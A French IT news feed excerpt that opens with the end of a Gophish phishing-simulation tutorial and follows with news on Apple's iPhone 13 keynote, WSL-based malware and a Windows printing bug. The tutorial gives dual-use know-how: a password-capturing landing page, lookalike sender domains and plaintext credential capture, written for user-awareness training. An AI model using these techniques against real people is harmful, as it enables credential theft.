<p><img class="aligncenter size-full wp-image-46124" src="media/31a68dee.tuto-gophish-08.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-08.png" alt="" width="622" height="456" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-08.png 622w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-08-550x403.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-08-150x110.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-08-160x117.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-08-50x37.png 50w" sizes="(max-width: 622px) 100vw, 622px" /></p>
<h3>C. Créer la landing page pour récupérer les identifiants</h3>
<p><strong>Troisième étape : création de la landing page qui sera une page piégée</strong> puisque si l'utilisateur complète le formulaire, nous allons le savoir ! S'il clique sur le lien, nous allons le savoir aussi !</p>
<p>Cliquez sur "<strong>Landing Pages</strong>" sur la gauche du menu puis sur "<strong>New Page</strong>".</p>
<p><img class="aligncenter size-full wp-image-46130" src="media/bd8096d3.tuto-gophish-10.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-10.png" alt="" width="800" height="304" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-10.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-10-550x209.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-10-150x57.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-10-768x292.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-10-160x61.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-10-50x19.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Donnez un petit nom à votre template et ensuite il faut passer à la construction.</p>
<p><strong>Vous pouvez partir de zéro comme pour l'e-mail ou importer un site à partir d'une URL et du bouton "Import Site".</strong> Alors, vous pouvez importer la page d'un site existant, mais il faudra adapter le code source : le formulaire que vous allez récupérer ne sera peut-être pas conforme aux attentes de Gophish (notamment les noms des champs du formulaire). C'est la partie la plus délicate (si vous cherchez à copier Instagram, par exemple), mais si vous reprenez un portail de votre entreprise pour cette campagne, ça devrait aller.</p>
<p><strong>Pour ma part, j'ai créé une page très basique pour cette démo.</strong></p>
<p>Si vous souhaitez récupérer les informations saisies par les utilisateurs, cochez les cases "<strong>Capture Submitted Data</strong>" et "<strong>Capture Passwords</strong>" pour le mot de passe (<em>même si vis-à-vis du RGPD, je pense qu'il vaut mieux éviter l'option "Capture Passwords"</em>). Il est précisé que le mot de passe sera stocké en clair, mais finalement on peut se passer de la récupération du mot de passe. Sauf si vous souhaitez engueuler l'utilisateur s'il utilise un mot de passe faible (<em>pour ne pas dire autre chose</em>) en plus de s'être fait piéger.</p>
<p><img class="aligncenter wp-image-46129 size-large" src="media/9095add1.tuto-gophish-11-800x595.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-11-800x595.png" alt="Création d'une landing page Gophish" width="800" height="595" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-11-800x595.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-11-550x409.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-11-150x112.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-11-768x571.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-11-160x119.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-11-50x37.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-11.png 1200w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Voici le code source de ma superbe page :</p>
<pre>&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;
&lt;title&gt;&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;form action="" method="post" name="form"&gt;&lt;label&gt;Nom d&amp;#39;utilisateur:&lt;/label&gt; &lt;input type="text" /&gt;&lt;br /&gt;
&lt;label&gt;Mot de passe:&lt;/label&gt; &lt;input name="password" type="password" /&gt;&lt;br /&gt;
&lt;input id="login" type="submit" value="Se connecter" /&gt;&amp;nbsp;&lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;</pre>
<p>Si vous arrivez à piéger un utilisateur avec ça, je suis inquiet pour vous. Enregistrez... La page est prête !</p>
<h3>D. Configurer le serveur SMTP</h3>
<p>Avant de lancer la campagne, il nous reste une dernière étape :<strong> la configuration du serveur de messagerie (SMTP)</strong>. Vous vous en doutez, il va servir à envoyer les e-mails de nos campagnes de phishing.</p>
<p>Sur la gauche, cliquez sur "<strong>Sending Profiles</strong>" puis sur "<strong>New Profile</strong>".</p>
<p><img class="aligncenter size-full wp-image-46134" src="media/b89ce72e.tuto-gophish-13.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-13.png" alt="" width="790" height="315" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-13.png 790w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-13-550x219.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-13-150x60.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-13-768x306.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-13-160x64.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-13-50x20.png 50w" sizes="(max-width: 790px) 100vw, 790px" /></p>
<p>Ensuite, vous devez nommer votre profil et renseigner les informations en complétant le formulaire.</p>
<p><img class="aligncenter wp-image-46132 size-large" src="media/0e0df462.tuto-gophish-12-800x641.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-12-800x641.png" alt="Gophish et la configuration du SMTP" width="800" height="641" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-12-800x641.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-12-550x441.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-12-150x120.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-12-768x616.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-12-160x128.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-12-50x40.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-12.png 1200w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Voici quelques indications :</p>
<ul>
<li><strong>From</strong> : adresse e-mail utilisée pour envoyer les e-mails, c'est-à-dire <strong>l'expéditeur</strong>. Si vous effectuez une campagne de sensibilisation axée sur Instagram, il peut être intéressant d'utiliser un nom de domaine trompeur et semblable à "<em>@instagram.com</em>". S'il n'a rien à voir, ce sera plus facile pour les utilisateurs de voir qu'il s'agit d'un piège : mais ce sera aussi l'occasion de voir s'ils ont bien compris qu'il fallait vérifier l'e-mail de l'expéditeur (même si ce n'est pas suffisant).</li>
<li><strong>Host</strong> : serveur SMTP à utiliser pour envoyer les e-mails, suivi du port (séparé par ":")</li>
<li><strong>Username</strong> : compte utilisateur pour s'authentifier sur le serveur SMTP</li>
<li><strong>Password</strong> : le mot de passe de ce compte</li>
</ul>
<p>Pour valider que ça fonctionne, cliquez sur "<strong>Send Test Email</strong>". Si c'est bon, vous pouvez continuer.</p>
<blockquote><p><strong>Note</strong> : vous pouvez créer plusieurs profils, car en fonction de la campagne, vous n'allez peut-être pas utiliser la même adresse d'expéditeur.</p></blockquote>
<h3>E. Lancer la campagne de phishing</h3>
<p><strong>Tout est prêt ! Nous allons pouvoir créer notre première campagne de phishing et tester nos utilisateurs !</strong></p>
<p>Cliquez sur le menu "<strong>Campaigns</strong>" puis sur "<strong>New Campaign</strong>".</p>
<p><img class="aligncenter size-full wp-image-46141" src="media/2134ed0f.tuto-gophish-14.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-14.png" alt="" width="685" height="300" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-14.png 685w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-14-550x241.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-14-150x66.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-14-160x70.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-14-50x22.png 50w" sizes="(max-width: 685px) 100vw, 685px" /></p>
<p>Pour créer cette campagne nommée "Instagram n°1", on va réutiliser les éléments créés précédemment : "<strong>Email Template</strong>", "<strong>Landing Page</strong>" et "<strong>Sending Profile</strong>".</p>
<p>Concernant, les autres options :</p>
<ul>
<li><strong>URL</strong> : indiquez le nom de domaine ou l'adresse IP (là aussi, essayez de faire en sorte de tromper vos utilisateurs pour les évaluer correctement) où les utilisateurs pourront contacter votre serveur Gophish.</li>
<li><strong>Launch Date</strong> : date à laquelle envoyer la campagne, par défaut c'est immédiatement. Si vous spécifiez aussi une date pour le champ "<em>Send Emails By</em>", Gophish enverra les e-mails à un moment donné entre la date de début ("<em>Launch Date</em>") et la date de fin ("<em>Send Emails By</em>"). Ainsi, tous les utilisateurs ciblés ne vont pas recevoir l'e-mail en même temps.</li>
<li><strong>Groups</strong> : sélectionnez un ou plusieurs groupes d'utilisateurs que vous souhaitez cibler avec cette campagne.</li>
</ul>
<figure id="attachment_46140" aria-describedby="caption-attachment-46140" style="width: 800px" class="wp-caption aligncenter"><img class="wp-image-46140 size-large" src="media/1296c98c.tuto-gophish-15-800x716.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-15-800x716.png" alt="Créer une campagne dans Gophish" width="800" height="716" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-15-800x716.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-15-550x493.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-15-150x134.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-15-768x688.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-15-160x143.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-15-50x45.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-15.png 900w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption id="caption-attachment-46140" class="wp-caption-text">Créer une campagne dans Gophish</figcaption></figure>
<p>Quand tous les champs sont complétés, cliquez sur "<strong>Launch Campaign</strong>" pour démarrer la campagne ! Le tableau de bord de la campagne va s'afficher et la section "<strong>Details</strong>" vous indique la "<em>progression</em>" pour chaque utilisateur.</p>
<p><img class="aligncenter size-large wp-image-46139" src="media/ef1c9386.tuto-gophish-16-800x404.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-16-800x404.png" alt="" width="800" height="404" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-16-800x404.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-16-550x278.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-16-150x76.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-16-768x388.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-16-160x81.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-16-1536x775.png 1536w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-16-50x25.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-16.png 1920w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<h3>F. Consulter les résultats de la campagne de phishing</h3>
<p>En tant qu'utilisateur ciblé par la campagne de phishing, j'ai reçu l'e-mail ci-dessous, avec le fameux "<em>Bonjour Florian</em>". On peut voir que le lien renvoie vers mon serveur Gophish (et l'adresse IP spécifiée dans la campagne).</p>
<p><img class="aligncenter size-full wp-image-46138" src="media/bc0ffcc2.tuto-gophish-17.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-17.png" alt="" width="795" height="524" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-17.png 795w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-17-550x363.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-17-150x99.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-17-768x506.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-17-160x105.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-17-50x33.png 50w" sizes="(max-width: 795px) 100vw, 795px" /></p>
<p>Je décide de cliquer sur le lien : j'arrive bien sur la landing page. Je suis confiant, je vais me connecter comme indiqué dans l'e-mail....</p>
<p><img class="aligncenter size-full wp-image-46137" src="media/03e47028.tuto-gophish-18.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-18.png" alt="" width="505" height="124" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-18.png 505w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-18-150x37.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-18-160x39.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-18-50x12.png 50w" sizes="(max-width: 505px) 100vw, 505px" /></p>
<p>Dans le même temps, sur l'interface de Gophish, on peut voir qu'il y a un utilisateur qui a ouvert l'e-mail, cliqué sur le lien et envoyé des données.</p>
<blockquote><p><strong>Note</strong> : la section "<strong>Email Reported</strong>" indique le nombre d'utilisateurs qui ont signalé cet e-mail pour dire qu'il était malveillant. Un utilisateur qui a signalé l'e-mail frauduleux au service informatique doit être récompensé ! <img src="media/14cb941f.1f609.png" data-original-source="https://s.w.org/images/core/emoji/13.1.0/72x72/1f609.png" alt="😉" class="wp-smiley" style="height: 1em; max-height: 1em;" /> - Pour configurer cette fonction, rendez-vous dans "<strong>Account Settings</strong>" puis "<strong>Reporting Settings</strong>" : configurez la boîte e-mail qui sert à vos utilisateurs à remonter les incidents de sécurité au service informatique.</p></blockquote>
<p>En complément, la "<strong>Campaign Timeline</strong>" nous donne un aperçu des événements dans le temps, avec le nom d'utilisateur et l'action effectuée. C'est plutôt bien fait !</p>
<p><img class="aligncenter size-large wp-image-46136" src="media/d89f5c9f.tuto-gophish-19-800x308.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-19-800x308.png" alt="" width="800" height="308" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-19-800x308.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-19-550x212.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-19-150x58.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-19-768x295.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-19-160x62.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-19-1536x591.png 1536w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-19-50x19.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-19.png 1575w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Au niveau de la section "<strong>Details</strong>", je peux voir que l'utilisateur "<em>Florian Burnel</em>" a envoyé des données via le formulaire ! Je peux même obtenir le détail des actions avec la date et l'heure, c'est très précis !</p>
<p>En affichant tous les détails, je peux également <strong>visualiser le mot de passe envoyé par le formulaire de ma landing page</strong> : "<em>JeTeDonneMonMotDePasse</em>". Finalement, je crois qu'il m'a démasqué et qu'il s'en amuse ! <img src="media/14cb941f.1f609.png" data-original-source="https://s.w.org/images/core/emoji/13.1.0/72x72/1f609.png" alt="😉" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<p><img class="aligncenter size-large wp-image-46142" src="media/1460fd44.tuto-gophish-21-800x549.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-21-800x549.png" alt="" width="800" height="549" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-21-800x549.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-21-550x377.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-21-150x103.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-21-768x527.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-21-160x110.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-21-50x34.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-21-130x90.png 130w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tuto-gophish-21.png 1178w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>En complément, le bouton "<strong>Complete</strong>" permet de terminer une campagne et de l'archiver (les résultats restent accessibles). Enfin, vous pouvez exporter un rapport au format CSV en cliquant sur "<strong>Export CSV</strong>".</p>
<p><strong>Cette démo de Gophish est terminée !</strong> Maintenant, c'est à vous de jouer ! Pensez à former les utilisateurs puis à les tester avec Gophish. Dans la foulée de la campagne, effectuez une seconde session de sensibilisation auprès des utilisateurs qui se font piéger. Sans oublier une piqûre de rappel pour tout le monde, de temps en temps.</p>The post <a href="https://www.it-connect.fr/comment-creer-une-campagne-de-phishing-avec-gophish/">Comment créer une campagne de phishing avec Gophish ?</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.


feed_id: https://www.it-connect.fr/?p=46199
title: Keynote d’Apple : iPhone 13, Apple Watch Series 7, iPad, etc… Voici l’essentiel !
uri: Keynote-d-Apple-iPhone-13-Apple-Watch-Series-7-iPad-etc-Voic
url: https://www.it-connect.fr/keynote-dapple-iphone-13-apple-watch-series-7-ipad-etc-voici-lessentiel/
content:
<p><strong>À l'occasion de sa keynote du 14 septembre, Apple a dévoilé ses nouveaux produits : iPhone 13, Apple Watch Series 7, iPad, etc... Voici un résumé des annonces ! </strong></p>
<h2>iPhone 13</h2>
<p><img class="size-medium wp-image-46204 aligncenter" src="media/4b1845fe.apple-iphone-13-pro-colors-09142021-550x430.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/apple-iphone-13-pro-colors-09142021-550x430.jpg" alt="" width="550" height="430" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/apple-iphone-13-pro-colors-09142021-550x430.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/apple-iphone-13-pro-colors-09142021-800x626.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/apple-iphone-13-pro-colors-09142021-150x117.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/apple-iphone-13-pro-colors-09142021-768x601.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/apple-iphone-13-pro-colors-09142021-160x125.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/apple-iphone-13-pro-colors-09142021-50x39.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/apple-iphone-13-pro-colors-09142021.jpg 1300w" sizes="(max-width: 550px) 100vw, 550px" /></p>
<p><strong>Les nouveaux iPhone 13</strong> ont bien évidement étaient annoncés, pas de réelles nouveautés hormis<strong> le 120Hz</strong> pour l'écran, et uniquement sur les modèles Pro. Pour les deux autres modèles, il faudra se contenter du 60 Hz.</p>
<p>Ils disposent bien sûr d'une nouvelle puce plus puissance : <strong>l'Apple A15 Bionic</strong>, ainsi qu'une autonomie renforcée. On peut dire que l'on est sur une grosse mise à jour de l'iPhone 12.</p>
<p>L'iPhone 13 est décliné en 4 versions :</p>
<ul>
<li><strong>l'iPhone 13 mini</strong> de 5,4 pouces à partir de 809€ et 128 Go de stockage</li>
<li><strong>l'iPhone 13</strong> de 6,1 pouces à partir de 909€ et 128 Go de stockage</li>
<li><strong>l'iPhone 13 Pro</strong> de 6,1 pouces à partir de 1 159€ et 128 Go de stockage</li>
<li><strong>l'iPhone 13 Pro Max</strong> de 6,7 pouces à partir de 1 259€ et 128 Go de stockage</li>
</ul>
<p>Il est à noter que la capacité de stockage commence à 128 Go et que <strong>les modèles Pro et Pro Max seront également proposés avec 1 To de stockage.</strong> Le prix pourra grimper jusqu'à 1 839 euros pour la version la plus haut de gamme.</p>
<h2>iPad Mini et iPad 9</h2>
<p><img class="size-medium wp-image-46205 aligncenter" src="media/a822c655.Sans-titre-550x362.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/Sans-titre-550x362.png" alt="" width="550" height="362" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/Sans-titre-550x362.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/Sans-titre-800x526.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/Sans-titre-150x99.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/Sans-titre-768x505.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/Sans-titre-160x105.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/Sans-titre-50x33.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/Sans-titre.png 853w" sizes="(max-width: 550px) 100vw, 550px" /></p>
<p>L'iPad Mini a enfin le droit à des nouveautés, puisque les dernières évolutions datent de 2019. Ce nouveau modèle va bénéficier <strong>d'un nouveau design</strong> ressemblant à ce qui se fait sur l'iPad Air. Il en profite pour s'agrandir un petit peu puisqu'<strong>il passe de 7,9 à 8,3</strong> <strong>pouces</strong>, avec à la clé un écran Liquid Retina. Lui aussi sera équipé de la puce Apple A15 Bionic et bénéficiera de la 5G.</p>
<p>Il y a un autre changement, et pas des moindres puisque cela concerne la connectique, c'est <strong>l'utilisation d'un port USB-C à la place du port Lightning. </strong>Il sera compatible avec la charge 20 Watts. Disponible dès le 24 septembre à partir de 559 euros.</p>
<p>Quant à l'<strong>iPad 9</strong>, c'est une amélioration de l'iPad de l'année dernière avec l'ajout de la puce Apple A13 Bionic. Il possède également un meilleur appareil photo, mais il restera un modèle d'entrée de gamme chez Apple. Prix de départ : 389 euros pour le modèle 64 Go.</p>
<h2>Apple Watch Series 7</h2>
<p><img class="aligncenter size-full wp-image-46225" src="media/35622cf7.apple-watch-series-7-photo.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/apple-watch-series-7-photo.jpg" alt="" width="800" height="381" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/apple-watch-series-7-photo.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/apple-watch-series-7-photo-550x262.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/apple-watch-series-7-photo-150x71.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/apple-watch-series-7-photo-768x366.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/apple-watch-series-7-photo-160x76.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/apple-watch-series-7-photo-50x24.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>La nouvelle Apple Watch est désormais officielle ! Cette nouvelle montre connectée hérite de <strong>bordures plus fines et d'un écran borderless</strong>, un cadran qui passe à 41 mm et 45 mm contre 40 mm et 44 mm sur le modèle précédent. <strong>Apple a également ajouté une certification IPX6 et une résistance à l'eau de 50 ATM à son Apple Watch Series 7. </strong>En comparaison de l'Apple Watch Series 6, la nouvelle génération se chargerait 33% plus rapidement.</p>
<p>Elle débutera à 399 dollars et sera disponible cet automne.</p>
<h2>iOS 15 et iPadOS 15</h2>
<p>Ces nouveaux produits seront accompagnés par une nouvelle version logicielle puisque nous allons avoir le droit à iOS 15 et iPadOS 15. Ces nouvelles moutures arriveront <strong>le 20 septembre</strong> en version finale et l'abonnement Fitness+ arrivera courant automne en France.</p>
<p>Alors, allez-vous craquer pour l'un de ces produits ? Ou peut-être même plusieurs ? Moi, je pense que oui, pour l'iPhone 13 et peut-être la montre Apple Watch 7 !</p>The post <a href="https://www.it-connect.fr/keynote-dapple-iphone-13-apple-watch-series-7-ipad-etc-voici-lessentiel/">Keynote d’Apple : iPhone 13, Apple Watch Series 7, iPad, etc… Voici l’essentiel !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.


feed_id: https://www.it-connect.fr/?p=46230
title: Un nouveau malware s’appuie sur Windows Subsystem for Linux
uri: Un-nouveau-malware-s-appuie-sur-Windows-Subsystem-for-Linux
url: https://www.it-connect.fr/un-nouveau-malware-sappuie-sur-windows-subsystem-for-linux/
content:
<p><strong>Des chercheurs en sécurité ont découvert un nouveau malware basé sur Linux et créé pour s'appuyer sur Windows Subsystem for Linux, le composant de Windows qui permet d'utiliser Linux sur Windows.</strong></p>
<p>Les pirates cherchent à trouver une façon d'infecter une machine tout en restant furtif, dans le but de ne pas être détecté par les solutions antivirus. Visiblement, il s'intéresse de près à <em>Windows Subsytem for Linux</em> (WSL) puisque de premiers essais ont été détectés. En regardant les analyses sur le site VirusTotal, on peut voir effectivement que le virus passe entre les mailles du filet, pour le moment.</p>
<p>Ces premiers essais remontent au mois de mai dernier, et depuis, <strong>de nouveaux essais sont effectués toutes les deux ou trois semaines.</strong> Cela prouve que les pirates travaillent activement sur le sujet.</p>
<p>Le fichier malveillant qui cherche à s'appuyer sur WSL contient lui-même la souche malveillante, ou alors il la récupère depuis un serveur distant, d'après les chercheurs de chez Lumen. D'après eux, l'étape d'après serait d'injecter le malware dans un processus en cours d'exécution par l'intermédiaire d'un appel sur l'API Windows.</p>
<p><strong>Ce fichier malveillant s'appuie sur Python 3 et il se présente sous la forme d'un exécutable ELF pour Debian.</strong> La majorité des solutions de sécurité pour Windows <strong>n'ont pas de signatures pour les fichiers au format ELF</strong> car ils ne sont pas communs sous Windows. <strong>Une variante basée à la fois sur PowerShell et Python a également été repérée</strong> et celle-ci serait capable de désactiver la solution antivirus de manière permanente grâce à un script qui tourne toutes les 20 secondes.</p>
<p>L'utilisation de WSL sur une machine Windows représente une porte d'entrée supplémentaire pour les attaques et de nouvelles possibilités, et ça les pirates l'ont bien compris. Néanmoins, WSL reste un système très intéressant et très pratique que j'adore personnellement.</p>
<p>Pour rappel, vous pouvez retrouver sur le site une série de 10 articles au sujet de l'<a href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/windows-client/tutos-wsl/" target="_blank" rel="noopener">utilisation de WSL sous Windows</a>.</p>
<p><a href="https://www.bleepingcomputer.com/news/security/new-malware-uses-windows-subsystem-for-linux-for-stealthy-attacks/" target="_blank" rel="nofollow noopener">Source</a></p>The post <a href="https://www.it-connect.fr/un-nouveau-malware-sappuie-sur-windows-subsystem-for-linux/">Un nouveau malware s’appuie sur Windows Subsystem for Linux</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.


feed_id: https://www.it-connect.fr/?p=46227
title: Windows : la mise à jour de septembre crée des problèmes avec les impressions !
uri: Windows-la-mise-à-jour-de-septembre-crée-des-problèmes-avec-les-i
url:
https://www.it-connect.fr/windows-la-mise-a-jour-de-septembre-cree-des-problemes-avec-les-impressions/

content:
<p><strong>L'histoire se répète : le Patch Tuesday de septembre 2021 crée des problèmes avec les impressions sur certaines machines Windows, suite à l'installation des correctifs de sécurité. Que se passe-t-il ?</strong></p>
<p>Microsoft a publié plusieurs correctifs pour combler des failles de sécurité au sein de Windows 10, mais aussi Windows Server. Parmi ces correctifs <strong>il y en a un qui permet de venir à bout définitivement de la faille PrintNightmare et de la faille CVE-2021-36958</strong>.</p>
<p>D'après les premiers retours des sysadmins, c'est <strong>ce correctif en particulier qui poserait quelques problèmes au niveau des impressions. </strong>Pour faire court, les utilisateurs ne peuvent plus imprimer après l'installation de la mise à jour. Ce n'est pas surprenant que ce correctif soit en cause puisqu'il corrige une faille de sécurité au sein du Spouleur d'impression de Windows.</p>
<p>Le site Bleeping Computer a mené son enquête et voici ce qu'il faut retenir :</p>
<p>- Le problème a été constaté pour imprimer à partir d'<strong>un serveur d'impression sous Windows Server 2012 R2 et Windows Server 2016.</strong> Cela ne veut pas dire que le problème n'existe pas avec Windows Server 2019.</p>
<p>- Suite à l'installation de la mise à jour, <strong>les machines Windows 10 ne peuvent plus imprimer sur les imprimantes réseau</strong> à partir d'un serveur d'impression.</p>
<p>- L'impression sur une <strong>imprimante connectée en USB continue de fonctionner</strong> même après l'installation du patch.</p>
<p>- Le problème a été constaté sur des<strong> imprimantes HP, Canon, Konica Minolta</strong> et des imprimantes à étiquettes, que ce soit pour les pilotes de type 3 ou de type 4.</p>
